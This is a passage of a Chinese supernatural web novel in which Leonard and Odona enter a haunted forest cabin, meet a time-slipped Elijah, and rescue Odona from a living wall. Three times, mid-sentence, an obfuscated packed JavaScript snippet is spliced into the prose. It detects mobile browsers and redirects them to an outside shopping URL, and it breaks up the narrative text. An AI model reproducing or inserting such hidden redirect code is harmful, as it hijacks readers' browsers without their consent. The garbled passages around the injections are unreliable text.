“你在开玩笑吗?杜弗伦。”奥多娜从后视镜里瞟了他一眼,“你才睡了五分钟。” “五分钟?”莱纳德拨开毯子,坐起来的时候骨头“咔吧”直响,他闷哼着伸了个懒腰,感觉自己仿佛是传说中的樵夫瑞普,一觉睡得直接失去时间概念。但樵夫瑞普是一夜睡眠换了外界二十年光阴,他错过了五分钟,却仿佛沉睡了五年。 总之不太对劲。 “我好像做了个梦。”莱纳德用力捏着眉心,整个脑门都木木的,“但我不记得了,除了……” “除了什么?”奥多娜好奇地看了他一眼。 “除了……”莱纳德手指更用力,脑门都差点被他摁穿,一个模糊的画面终于浮现,“鸭子。” “鸭子?” “呃,绿头鸭。” 奥多娜等了等,没等到下文,于是评价:“听起来是个无聊的梦。” “你说得没错。”莱纳德抱着毯子靠在椅背上,无声地叹了口气,他扫了眼窗外,忽然一下坐直了,“停车,奥多娜,快停车!” “怎么了?”奥多娜一边问一边慢慢踩下刹车,莱纳德不等车完全停下就推开车门跳了出去,拔腿往回跑去。 奥多娜只好认命地跟上:“慢点!”她碰了碰腰间的武器带,心情略微放松了些,尽管她完全看不出来莱纳德究竟为什么突然发疯的。 事实上,莱纳德并不清楚自己看到了什么,但那一瞬间,他确信路边的森林里有东西。 “你下回至少得告诉我怎么回事,杜弗伦。”奥多娜在他背后抱怨,她眼睛睁得大大的,顺着莱纳德的目光看过去,“说句话啊,别光是一脸这么可怕的表情,你看到什么了?” “森林,”莱纳德听到自己的声音里带着恐惧,却也有一丝振奋,“森林里有东西在等着咱们。” “什么东西?”奥多娜声音一沉,立刻警惕起来,右手向腰间探去,“在哪个方向?纵深多少?” “我说不清,我得、我得进去看看。”莱纳德不由自主往前迈了一步,被奥多娜一把拉住,不可置信地瞪着他:“你疯了?” “我没疯,奥多娜,真的!”莱纳德回身抓住奥多娜的手,试图把她扒拉开,但奥多娜拽得很紧,这个女人的力气大得简直该死。莱纳德放弃挣扎,轻轻吁了口气,解释道:“我没开玩笑,森林里有东西,但我觉得它不是坏的,它、它在等我们。” “但它是个‘它’!你听到自己说的话了吗?”奥多娜恨不得把莱纳德的脑袋敲开,好把理智塞进去。 “霍普,我不是在邀请你跟我一起进去,你可以在这儿等我,真的。”莱纳德说。 “你觉得我会放你一个人进去?”奥多娜咬牙切齿地反问。 “我必须进去!”莱纳德压低嗓音吼道,感到怒火在胸口蠢蠢欲动。 “不能是现在!”奥多娜分毫不让,“别忘了我们在干什么,杜弗伦,你是打算跟我一起去波特兰救以利亚,还是打算一个人钻进森林里,愚蠢地把小命送掉?” “我不会送命的!” “怎么,就凭你一句保证?” “奥多娜,你真是……”莱纳德一句咒骂还没喷完,便意外地看到自己胳膊上爆出一道白光,那白光仿佛长着牙,奥多娜用力抓着他胳膊的手突然被咬了一口似的弹开,向后连退了两三步,然后“刷”一下从腰间抽出了手枪,举起枪对准了他。 莱纳德愕然愣在当地。 奥多娜又惊又怒地瞪着他,鲜血从她掌心渗出来,透过厚厚的战术手套,顺着手枪握把一滴一滴地落到地上。 那伤口一定不浅。 “天呐,奥多娜,对不起,我不是……我不是故意的。”莱纳德慌慌张张地朝她走过去,才走了一步就被枪口逼停,他只好举起双手,“我也不知道是怎么回事,真的。” 奥多娜咬着牙不说话,她脸色变了几变,忽然放下枪,说道:“好,我答应你,一起进森林去,听到了吗?你和我,两个人,我们必须在一起,不许你擅自行动。” “听、听到了。”莱纳德没想到奥多娜会在这种情况下改变主意,也呆住了,愣愣地站在原地不知所措,直到奥多娜提醒他:“喂,药箱在后备箱里,快去拿,你是打算让我失血过多而死吗?” “哦!”莱纳德连忙拔腿跑到了汽车后边,打开后备箱找出红药水和绷带,给奥多娜包扎掌心的伤口——两排细密的伤口正不断地往出渗血——那白光果然长着牙齿。 但是为什么?莱纳德心想,就因为他刚才对奥多娜生气了吗?他不自禁打了个哆嗦,这已经是第二次了,如果这种能力无法加以控制,他注定只会更频繁地伤害身边的人。 “你最好不是故意的,警告你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13724436|135386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,下不为例哦,我可不是挨打不还手的类型。”奥多娜把手伸给莱纳德,一边愤愤地念叨个不停。 “疼吗?”莱纳德洗干净伤口,仔细地上药,把奥多娜的威胁当作耳旁风,他更在意长牙的白光是不是有麻痹人的毒药,毕竟上一个被白光攻击的是一团黑烟,很难跟踪后续效果。 “疼死了,你个赤脚医生。”奥多娜翻了个白眼。 她打量莱纳德的目光不自觉多了几分警惕,刚才电光火石的一瞬间,莱纳德可能自己都没注意到,但奥多娜看得清清楚楚,他手臂上的白光是一个符咒的形状,不是黑魔法,而是某种更古老、更强大的咒术。 懂得这种咒术的人并不多,以利亚却恰巧是其中之一。 奥多娜相信,这是以利亚对莱纳德施加的某种保护,极有可能是在莱纳德自己都不知道的情况下动的手脚,而问题在于,做出这种举动时,以利亚是否知道自己将在未来某个时刻离开莱纳德? “我很抱歉,真的。”莱纳德小心翼翼地把绷带缠到奥多娜手上,血很快染红了伤口的地方,“该死,忘记贴纱布了。” “就破了个皮,还要什么纱布?”奥多娜不耐烦地催促,“怎么,你是打算用目光帮我止血吗?再慢点伤口都该愈合了。” “也不知道刚才是谁说自己快要失血而死的,现在又要光速愈合。”莱纳德叹了口气,加快手上速度,一边嘟囔,“马上就好了,死侍。” “死什么?” “没什么。”莱纳德最后用绷带打了个蝴蝶结,伸指一弹,“好了。” 奥多娜一脸不以为然地看着被层层包裹的右手,眉毛扬得快要从额角飞出去:“妈的,你这么搞我还怎么开枪?” 莱纳德顺手把枪从她那儿拿过来:“交给我好了。” 奥多娜故意作出一脸惊讶的模样:“什么,你会开枪?” “哈哈,真有意思。”莱纳德干巴巴地笑了两声,作为回应。 在奥多娜坚持下,进森林前,两人各背了一个探险专用的野外背包,里面塞满奥多娜找来的“野外生存装备”,但据莱纳德观察,一多半都是具有杀伤力的武器。 两人走进了阴凉潮湿的林间,常绿针叶林在寒冷季节下展现出一种凌厉的冷翠,针叶在风中簌簌抖动,松树特有的香味混合在露水和青草的气息中,闻起来很舒服。 四下安静得很,靴子在松软的土地上发出可爱的沙沙声,遥远的树梢枝头间,时不时有鸟类展翅和昆虫嗡鸣的声响传来。 “现在可以告诉我森林里究竟有什么了?你的那个‘它’在哪儿等我们?”奥多娜问。 “第一,不是我的‘它’。第二,我不知道。第三,”莱纳德叹了口气,无奈望天,“我看着那么像喜欢卖关子的人吗?” “老兄,你就像个谜团一样让人费解。”奥多娜哂笑,她眨眨眼睛看着莱纳德,又用那种半开玩笑半是认真的语气说,“说老实话,我的职业就是看人,但莱尼你简直比以利亚还难读懂,而那家伙是全宇宙公认的神秘先生。” “谢了,我就当你是在夸我好了。”莱纳德抬脚踢开一颗长满青苔的小石头,小石头咕噜一下滚进一边的草丛里。 “别怀疑,我就是在夸你。”奥多娜说。 “行吧。”莱纳德随口回答,一时感到心情郁郁,忽然间,他难以抑制地想念起以利亚,想念他和他那些奇怪的宇宙知识和神秘的身世过往,奥多娜说的没错,他就像恩尼格玛,一个难解的谜。 与此同时,一种更强烈的直觉像一股热流似的涌入莱纳德的胸口——以利亚还活着,他就在某个地方——莱纳德几乎像是坐在巨幕电影院一样清晰地看到了以利亚靠墙而坐的画面。 角落逼仄,光线昏暗,橘黄色的墙纸长满霉斑,四处都有剥落破烂的痕迹,以利亚曲起一条腿,胳膊搭在膝盖上,看上去不比身后的墙纸精神多少,尽管面容憔悴,但他脸上仍然挂着玩世不恭的笑,开口说了什么。 莱纳德浑身僵硬,霎时间,血管里的血都仿佛停止了流动。 他看到,以利亚的双手手腕和双脚脚腕上,各有一条细细的铁链延伸向后,深深地钉进了墙里。 81.第十二章:林中小屋 “莱纳德?莱纳德·杜弗伦!”奥多娜的声音穿透幻觉,钻进莱纳德的耳朵里。 “天呐……”莱纳德犹自沉浸在方才的幻视里,他伸手摸摸脖子后边,不出意外地摸了一手冷汗,转头看向奥多娜,“怎么了?” “你还问我?”奥多娜没好气,“你跟中邪了似的,脚也不挪窝,叫也不答应,我只差一点就要动手打醒你了。”说着举起拳头,威胁地冲他晃了晃。 “谢了,那估计正是我需要的。”莱纳德勉强让自己的声音听起来还算平静,可事实上,他仍在战栗不已。奥多娜又说了什么,但莱纳德没仔细听,他满脑子只剩下一个念头—— 以利亚还活着,他还活着! 莱纳德一时喜忧参半,如果刚才看到的画面是真的,那么,以利亚一定已经陷入了某种危险——有人用链条锁住了他,这个信号足够明确。 但是,以利亚究竟在哪里?会是波特兰市舍尔曼大街169号吗? 他双手扶住膝盖,慢慢弯下了腰,感到心脏正在胸腔中剧烈跳动,剩下的部分则被莫名的情绪飞快填满,仿佛随时都会炸裂开,碎成一千片。 奥多娜担忧地看着他:“莱尼小子,你看起来不怎么样,说实话,你脸色糟透了。” “只是太久不活动而已,不是因为森林。”莱纳德嘴硬道,“再说了,我感觉挺好的,神清气爽。” “可别告诉我你是醉氧了。”奥多娜狐疑地说,对方很快摆脱了心脏病发似的紧张状态,坚定地表示自己没事,于是她最后还是松了口:“你说了算,大兵,前边带路。” 两个人继续往前走去。 没过一会儿,他们就看到了那栋林中小屋。 “喂,霍普,你看过《林中小屋》吗?”莱纳德停下脚步,打量着眼前突兀出现的三层木屋,一丝预感同样突兀地浮现,就是这里—— 它,就在这里。 奥多娜站在莱纳德身边,低头看指南针确定方位,随口问道:“没看过,什么玩意儿?” 莱纳德回答:“美国恐怖电影,讲的是五个大学生跑到一间林中小屋度假,结果误念咒语,召唤出了一大群僵尸、狼人、异形之类的怪物。” “老兄,你看电影的品味很成问题。”奥多娜尖刻地说。 “艺术源于生活,多看点没坏处,你有空也该试试。”莱纳德说,一面踮起脚张望,犹豫着要不要进屋去看看,他承认,《林中小屋》更像是对美式恐怖电影的一次集体嘲讽,他只希望,眼前这个木屋不是为了嘲讽他们而存在。 “我忙着当保姆呢,哪儿有那闲工夫?”奥多娜不悦地说道,定位失败了,指南针一拿出来就疯狂乱转,一起失效的还有全部无线电设备,就像他们刚才不是走在森林里,而是一脚踩进了通往异度空间的兔子洞似的。 “怎么了?”莱纳德从她手里接过指南针,脸色也变了,小声嘟囔了句“受诅咒的缅因森林。” 奥多娜赞同地点点头:“为什么会有人在这建造木屋?该死的,为什么会有人想在森林里度假?” 莱纳德一耸肩:“钱多闲得吧。” 奥多娜眉头紧锁,脸上的表情明明白白地写着“我讨厌这地方”。 她从背包里掏出红外成像仪,把木屋仔仔细细扫了一遍,给莱纳德展示热成像结果:“喏,至少你可以松口气了,没有僵尸,也没有吸血鬼,连只耗子都没有。” 莱纳德忍不住说:“连耗子都没有难道还不够反常吗?” “我可没说过一切正常,这地方连空气都尝起来不对劲。”奥多娜乜了莱纳德一眼,“但谁让某个人坚持要来呢?” 她说完便抬脚往木屋走去,但没去前门,而是从一边绕到屋后。莱纳德在后边一惊一乍地:“喂,我们就这样闯进去?” “不然呢?来都来了。”奥多娜不耐烦地打了个手势,示意他跟上,自己脚步不停,说话间已经转到了屋后的窗子前。 她手上戴着战术手套,伸手在窗户上摸了一把,把厚重的灰尘抹出一条手掌宽的痕迹,凑过去朝屋里张望,忽然像被踩到尾巴的猫似的向后跳开,还没站定就连珠炮一样骂了几句脏话。 “奥多娜?”莱纳德一个健步跨到她身边。 “没什么。”奥多娜勉强扯了扯嘴角,但是脸色苍白,显然被狠狠吓了一跳——这世上能把这个跟恶鬼搏斗都不改色的女人吓坏的东西可绝对不多——莱纳德不以为然地看着她:“你看着不像是‘没什么’的样子。” 他凑到窗玻璃边,朝屋里猫了一眼,可里面黑漆漆的,什么都看不到,实在忍不住疑惑:“你到底看到什么了?” 奥多娜已经恢复了镇定,冷静地回答:“眼花了。” “别开玩笑了,奥多娜,”莱纳德直起腰,“现在不是逞强的时候,你说出来的信息没准能救我们一命呢。” 他顿了顿,又缓和了语气:“我玩过的恐怖游戏都这样,真的,崔维斯警长要是早点把采石场的秘密说出来,那九个倒霉大学生也不至于度过惊险一夜,险些为一个夏令营把小命都送掉 。” “天呐,你和你的书呆子梗。”奥多娜翻了个白眼,嘀嘀咕咕地抱怨了几句,然后妥协道,“好吧,大金毛,我刚才的确看到点东西,但不开玩笑,那东西我没法形容,没有形状、没有颜色、不像任何我见过的东西,还一眨眼就不见了。” 她两手一摊,总结道:“唯一合理的解释就是我眼花了。” “嘶……”莱纳德后脖子忽然蹿过一阵凉意,不仅仅是因为奥多娜的话,而是他听到屋子里传来一阵难以形容的动静。 他警惕地竖起耳朵,偏过脸小声问:“你听到了吗?” 奥多娜短促地“嗯”了一声,苍白的脸上毫无血色,那双黑眼睛显得更大了,忽然下定决心似的,一拉莱纳德:“走,我们进屋。” “你确定?”莱纳德吃了一惊,他本以为奥多娜会坚持原路返回,那样他就不得不一个人进屋,就眼下的情形来看,或许那才是更理智的选择。 尽管他自己心里从没打过退堂鼓,但这股勇气很复杂,不排除有破罐破摔的成分在里面,莱纳德怀疑要是换成以前,自己怕不是早已经掉头跑远了。 结果奥多娜的理由倒是简单干脆:“来都来了。”这女人倒真的一身是胆。 莱纳德无声地叹了口气,一时不知该喜该愁。 反正主人不在家,两个人决定从前门光明正大地进去,门是被老式插销锁住的,奥多娜用匕首轻轻一拨就开了。 推开门,屋里落满灰尘,随着阳光洒进来,能看到空气中有无数颗粒在飞舞。 莱纳德的舌尖尝到了静电的味道,与此同时,之前一直隐隐约约的直觉忽然间清晰起来,而且更加强烈,简直像是在对他大喊大叫——快点,再快一点。 “喂,别心急,”奥多娜伸手拦住抬脚就要进门的莱纳德,一抬下巴,“喏,看看那儿。” 顺着奥多娜的目光,莱纳德看向地面,靠近墙角的地方,厚厚的一层灰尘上面,布满了细小的脚印。他小的时候,街对面的马修老汉养过一窝小鸡崽,后院土地上就总有这种痕迹。 此刻在木屋里留下脚印的,显然并不是小鸡崽。 “你觉得是什么?” “实话实说,我希望它什么都不是。”奥多娜仔细地扫视屋内的每一寸地板和墙皮,“但如果你非要问的话,它们像是某种个头不大,长着爪子和翅膀的小东西,喏,你也看到天花板和窗户上的痕迹了吧?” “看到了。”莱纳德叹了口气。 “好消息是,这些脚印看起来很旧。”奥多娜用手指比了个十字架,“我们最好祈祷它们已经离开了。”说完跨步迈进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13728830|135386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屋里,悍戈战术靴在木头地板上发出“橐橐”的声响。 莱纳德眼尖地看到,靴子踩过的地方并没有留下脚印,他自己用鞋底蹭了蹭地板,但那些灰像是牢牢长在了地上,连一颗尘粒都没扬起来。 奥多娜也低头看着自己脚下,又看看角落里的爪印,评价道:“地板设计有心了。” 不止是地板,两人分头在屋里转了一圈,灰尘牢牢附着在家具表面,连空空如也的抽屉都难逃一劫,角柜上摆着一面梳妆镜,镜面布满斑驳,无论怎么擦都擦不干净。 莱纳德忽然心念一动,后窗上的灰尘是擦得掉的! 他拔脚往里屋走去,奥多娜在身后叫了他一声,他头也不回地说:“我去看一眼后窗。” 奥多娜不知为何没有跟上来。 莱纳德穿过客厅,右手边是厕所,左手边,厨房和洗衣房被一道玻璃门隔开,各占了后屋的半壁江山,他想了想,推开厨房门,往里头瞄了一眼,果然看到了那扇后窗。 “奥多娜?”莱纳德不等回应就抬腿迈了进去,厨房地板并无异状,他用鞋底摩擦几下,立刻便尘土飞扬,地板上也多出几道乱七八糟的痕迹来。 但这里的温度似乎比外面要低一些,空气中的静电也更多,让人的汗毛和头发通通竖了起来,莱纳德搓搓手臂,感到一阵战栗的寒意沿着脊柱一路蹿上了后脖颈。 洗手池忽然传来一阵“咕嘟咕嘟”的声音,在一片寂静中听起来简直刺耳,莱纳德浑身一个激灵,走近之后,他看到水池里积着一层厚厚的黑色淤泥,尽管屋里越来越冷,但黑色淤泥却像沸腾似的不停地冒着泡。 “奥多娜,过来看看这个!”莱纳德提高声音。他壮起胆子,伸手拧了一下水龙头,一阵刺耳的铁锈摩擦过后,只有几粒碎屑窸窸窣窣地落下来,没有水流,也没有黑色淤泥。 奥多娜依然没有进来,莱纳德终于觉察出不对来,刚要转身,客厅里忽然响起奥多娜的喊叫声。 同时响起的,还有爆豆般的“砰砰砰”三声枪响。 然后,一切归于沉寂。 莱纳德连忙往外跑,但就在这时,身后本就躁动不休的水池子里骤然发出清脆的碎裂声,他不及回头,黑色淤泥便像发疯的水银一样扑了出来。 飞溅的瓷片先到一步,莱纳德举起胳膊挡住头脸,用最快的速度狂奔出去,险些被客厅里一大团灰影前后夹击,他一个急刹车,慌不择路地撞进厕所,“砰”地关上了门。 门外立刻响起令人牙酸的抓挠和撞击声。 更糟糕的是,奥多娜再没发出一丝动静。 莱纳德从门口退开,观察身后的空间,这间厕所居然意料之外的宽敞,完全不像小木屋该有的配置,而且一改木质家具风格,大理石地板锃光瓦亮,洁白的浴缸也同样一尘不染。 这地方,好像有点眼熟…… 刚转过这个念头,莱纳德面前的空气骤然被搅动,原本只是若有若无的静电竟爆出了“噼里啪啦”的蓝色火花,他倒抽一口冷气,只见浴缸里眨眼间多出两个鬼魂似的半透明人影来,一个举刀往自己手心用力扎过去,另一个扑过去伸手替他挡了一下。 电光火石之间,莱纳德压根来不及细想眼前的场景熟悉在哪儿,更不知道浴缸里的鬼影是谁,凭着直觉,他朝其中一个扑了过去,伸长手臂,一抓之下竟真的抓到了实体,立刻拼命拽住,朝自己猛拉过来。 “咚”的一声,两个人一块栽倒在地板上,各自摔了个七荤八素、眼冒金星。 莱纳德更倒霉些,他垫在下边,差点一口气没倒上来,但即便如此,他还是牢牢地抓住怀里的人不松手,仿佛抱的是颗橄榄球,而眼下正到了触地得分的关键时刻,直到对方给他肋下来了一肘子,逼他松手,自己挣扎着滚到了一边。 两人四目相对,一时间都如同见了活鬼。 82.第十三章:意料之外的重逢 “是你?是你吧?”莱纳德眼睛瞪得眼眶都发酸了,但他不敢眨眼,生怕眼前的人会再次消失不见,他伸出手,用一根手指戳了戳对方,仍然感到不可思议,“真的是你?” “如假包换。”对方扯动嘴角笑了笑,的确是熟悉的“以利亚式”笑容,他用温暖干燥的掌心抓住莱纳德的手指,用力握了握,“怎么样?” “嗯,”莱纳德从喉咙里挤出一个短促的音节,忽然抽出右手食指,攥紧拳头,铆足劲朝以利亚脸上打了一拳。“怎么样?还他妈怎么样?你说呢?” 他差点又一拳打出去,但被以利亚敏捷地格挡开,然后手腕一紧,被对方牢牢地攥住了,莱纳德用力都没能挣开,以利亚脸上肌肉扭曲,目光却又惊又怒,显然也被一拳打懵了。 两个人就这么倒在地上纠缠了一阵,最后以利亚手脚并用地把莱纳德锁在地上,气喘吁吁地宣告了胜利,警告他说:“我松开你,但你不许再发疯了,不然对你不客气。” “松——手——”莱纳德咬紧牙关,他度过了最初的心神激荡,理智又重新回归,但肾上腺素仍然让他的血液在血管里“砰砰”作响,像擂鼓一样。 以利亚松开手臂,他右手掌心有一道新鲜的道口,原本就鲜血淋漓,经过刚才那一番缠斗,血溅得到处都是,看起来更是触目惊心。 他龇牙咧嘴地用手绢绑住手掌伤口,看着莱纳德:“我猜,这一拳是因为我未来做的某件事打的?” 莱纳德喘息凌乱,说不出话来,只点了点头。 没错,未来,哪怕是经过刚才那么混乱的场面,以利亚的反应也依然比他快。莱纳德看着以利亚的衣着打扮,还有脸上的胡茬,一个答案浮上心头——穹顶,他在穹顶的金莫顿实验室醒来时,见到的以利亚就是眼前这副模样,而以利亚也确实在那阵子经历过一次时间滑脱,从他眼前消失。 不是他想要见到的以利亚,莱纳德不禁感到一阵失望。 “时间滑脱的意外收获,瞧瞧吧,先是替别人挡刀,紧接着又莫名其妙挨一顿打,为了某件我压根没干过的事。”以利亚讥讽地扬起眉毛,“别人还要问我为什么坚持时空旅行呢。” “你……”莱纳德眨眨眼睛,他忽然看清了自己所处的环境,登时吓了一跳,脱口骂了句脏话,“这是哪儿?” 大理石地板变成了木地板,白瓷浴缸也不见了,取而代之的是脏兮兮的马桶和朽烂的置物架。 “这下你可问倒我了。”以利亚也一脸茫然,左顾右盼,“废弃木屋?这灰可够大的,咦?”他用手指一抹地板,用指腹搓了搓,表情疑惑起来。“这种灰可不常见呐。” 莱纳德却已经知道了答案,眼前这个逼仄肮脏的厕所才是原本属于小木屋的部分,而他刚才只是一不小心踏进了属于以利亚的空间。 不,不止属于以利亚,莱纳德回忆那个浴室的模样,随即想起了米尔顿和他的单身汉公寓,错不了,就是那里,这样一切才讲得通。 ——在穹顶下,以利亚曾经陪他回到故园鸟镇,却在那里经历了时间滑脱,阴差阳错地去到了米尔顿的浴室,替海子力场里的莱纳德挡下一刀,用自己的血逼退了力场怪,结果一波未平一波又起,紧跟着又被此时此地的他一把拽到了这间林中小屋 。 “这还真是一团时空大乱炖呐。”莱纳德扶额。 “是什么?”以利亚还在沉思和地板融为一体的灰尘,闻言抬头看向莱纳德,皱起眉,“也许我们该对一对各自的时间表,你说呢?” “时间表,咳,好主意。”莱纳德希望自己的语气能更热忱一点,但事实上他心慌极了,小心翼翼地斟酌着说出口的每一个字,“如果我没猜错的话,你是从故园鸟镇来的,呃,我——我是说那时候的我——刚从金莫顿实验室醒来,是你开启传送门带我回家的。”他忽然笑了笑,又说,“我当时正准备带你去‘罗斯兰德’吃披萨,他们家的披萨……” 以利亚接口道:“是全密歇根最好吃的。” 他动了动嘴角,那地方被莱纳德的指节磕破一处,边缘已经肿了起来,但勉强还能露出一个真心实意的笑容:“你猜的没错,未来使者。” 他并没有立刻追问下去,“未来”两个字已足够令一个时间旅行者谨慎起来了,毕竟,任何形式的剧透都有可能对时间线产生不可逆转的影响。 当然,对他来说也不算新鲜事。 莱纳德思绪起伏,轻声道:“抱歉对你动手了。”尽管刚才以利亚别着他肩膀把他死死按在地上,别得他差点抽筋,他感觉自己才是受伤更重的那个。 “嗯哼,抱歉在未来惹你生气了?”以利亚若有所思地看着莱纳德,小心地问,“你现在一个人旅行?” “一个人?”莱纳德一愣,用力骂了句脏话,他居然把奥多娜给忘了! 他一骨碌爬起来,跑到门口,门外的抓挠和撞击声不知何时停了下来,但却更像是暗流涌动的沉寂。 以利亚跟上来,不解道:“谁在外面?” 莱纳德正把耳朵贴在门上细听,却只听到了自己擂鼓一样的心跳声:“是奥多娜,见鬼,我不该把她一个人留在客厅的。” “谁是奥多娜?” “奥多娜·霍普。” 莱纳德说完才想起来,他和以利亚是离开穹顶之后才第一次见到奥多娜,而对于此时此刻的以利亚来说,奥多娜·霍普还是个完全陌生的名字 。 好吧,这也许解释了为什么当时以利亚看到奥多娜的简讯时会是那种表情。 “没什么。”莱纳德嗫嚅,不知为何有些心虚,“奥多娜是一个朋友,呃,我们现在一起旅行。” 以利亚“哦”了一声,听起来含义莫名。 莱纳德回过头,严肃地说道:“听着,以利亚,这木屋不大正常,我刚才在厨房里被水池里的黑泥攻击了,奥多娜也在客厅碰到了危险,一团灰麻麻的东西,我没看清,说实话,我才看了一眼就觉得眼睛疼。” 他垂下目光,轻轻吁了口气:“现在,你要是有什么建设性意见,我会非常感激的。” 以利亚说:“不管是什么怪物,能被一扇木门挡住都能说明一些问题,不是吗?” “怪物怕木头?” “万一呢?” “好吧,好吧。”莱纳德吸了口气,慢慢旋转门把手,把门推开了一线。 没有黑泥,没有灰影,门外只有一片死寂。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13732341|135386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “奥多娜?”莱纳德提高声音,一边走了出去。 客厅里似乎一切照旧,只除了奥多娜不见踪影,而她的一把雷明顿M51掉在地上,旁边散落着三枚弹壳。 莱纳德在雷明顿旁边蹲下,把枪捡起来,抬起目光寻找弹孔,以奥多娜的枪法,连开三枪不可能……他目光一顿,找到了,在门框附近,三个非常靠近的弹孔,密集地压在一处,可见奥多娜开枪时目标非常明确,却偏偏无一例外地落空了。 怎么会这样? “莱尼,过来看看这个。”以利亚忽然叫他。 莱纳德站起来,看到以利亚正蹲在角落里,把地板上的脚印指给他看。“哦,这个我们之前就注意到了,那些鸡爪印……”他的声音忽然卡在了喉咙里,因为地板上的并不是爪痕,而是人的脚印。 “六码半的女士战术靴,我猜是你的那位旅伴留下的?”以利亚锁起眉头,“这里一共有四个脚印,但又完全没有道理,你看,这个脚印脚尖向外,可紧跟的这一个脚跟却是倒转过来的,除非她才跑了一步就来了个急转弯。”他说着摇了摇头。 “恐怕这些脚印并不是在这个角落里留下的。”莱纳德伸手在其中一个脚印上抹了一把,果然,灰尘完全没有被拂起来。一个想法逐渐在他脑海里成型——与牢牢附着的灰尘,接连落空的子弹,奥多娜的脚印,还有他刚刚见到的大团灰影…… 莱纳德喉结上下滚动:“以利亚,这灰尘……是活的。” 两人对视一眼,“奥多娜会在哪儿?”莱纳德干巴巴地问,他本以为任何危险奥多娜都对付得了,而任何超出人力的怪东西,十字架也能替她挡一波,可眼下…… 莱纳德嘴里直发苦,他意识到这些都只是借口,可耻的借口,他只是一见到以利亚就把什么都忘了。 “我觉得,她很有可能还在这间木屋里。”以利亚忽然说,“厕所的大小跟这面墙的位置对不上。”他伸手敲了敲对面的木墙,果然发出了“空空空”的声音。 “她、她在墙里?” “也许。”以利亚说着又变换了几处位置,有的明显中空,有的则发出沉闷的响声。 “是这里。”莱纳德伸手摸索墙面,感受着墙面冰凉的纹路和细微的凹凸起伏,忽然间悚然心惊,“以利亚,我觉得、我觉得我摸到她的脸了,天呐。” 掌心下,木头墙面正缓缓地一起一伏,如同呼吸。 以利亚拨开莱纳德,先是摸了摸墙面,手指沿着凹凸的轮廓一点点摸过去,然后在一侧用力按下去,随着他增加力道,墙面果然陷下去了一块,他松开手,木板又恢复平整。 “好吧。”以利亚轻轻吁了口气,朝莱纳德伸出手,“把枪给我。” 莱纳德下意识照做,这才觉得奇怪,警惕道:“你要枪干嘛?” “这个嘛,我有一个想法。”以利亚干脆利落地上膛,退开两步,枪口先是斜向下,然后平举,对准了木墙,手臂动作和声音一样平稳,“莱尼,准备好了吗?” 猜到了以利亚的想法,却更惶恐,莱纳德只好在心里祈祷这一搏能够成功,他咽了口唾沫,一点头:“开枪吧。” 以利亚扣动了扳机。 83.第十四章:吃人的木头 子弹流畅地射入墙面,犹如刀锋没入豆腐,没有遇到一丝阻碍,但随着三枚子弹接连射入,木墙表面骤然抖动起来,吃痛似的一阵抽搐。 中弹的地方,无数木头纤维倏地弹出,如同柔软细长的章鱼触手,张牙舞爪地想要把子弹推出去,木头触手纠缠间,发出一阵刺耳的吱喳声响。 如果木头也会尖叫,这就是了。 莱纳德的眼睛一下子瞪得老大,他刚才摸到奥多娜的墙面一阵抖动后,竟忽然向外凸出,赫然是一张人脸的模样! 紧接着是一侧肩膀,然后是半条胳膊,仿佛墙里的人正拼了命地想要爬出来。 “奥多娜!”莱纳德以为自己叫了出来,但事实上他的嗓子干得要命,那声尖叫未能冲破桎梏,只是在他自己的脑海里反复回荡。 “快!就是现在!”以利亚大吼道。 莱纳德劈手朝木墙凸起抓过去,手指碰到某个柔软的东西,他不管三七二十一,当即用力抓住往外猛拉。 木头触须顿时疯狂扭动起来,有几条攀上他的手腕,深深勒紧,莱纳德登时感到一股大力把他往墙里扯去,他脚下不稳,险些一头撞到墙上,左手慌乱中抓住了以利亚,右手眨眼间已没入了木墙。 “站稳!”以利亚一只手臂圈住莱纳德的腰把他往后扯,另一只手再次扣动扳机,沿着木墙边缘把剩余的几颗子弹通通送了进去。“快一点!” “我—在—用—力—了—”莱纳德咬紧牙关,他两手齐上,把吃奶的劲都使了出来,同时借着以利亚拽他的力道朝后倒,终于,墙里的力道猛地一松,几个人顿时一连串地往后栽倒,手脚纠缠地摔成了一团。 触手“嗤嗤”几声缩回墙里,木板墙重又恢复平静。 这次换以利亚做人肉床垫,他用手肘顶了顶压在他胸口的莱纳德,不堪重负地哼了一声:“还不起来?” 莱纳德一颗心兀自狂跳不已,浑身力气都被抽干了似的,一动都不想动,被以利亚加大力气怼了一肘子,才翻身滚到一边。 奥多娜闷哼一声,跟他一块滚倒在地,莱纳德这才发现他一直抓着人家衣领和脖子下的一块软肉,刚才那几下拉扯居然没直接对方勒死也真是个奇迹。 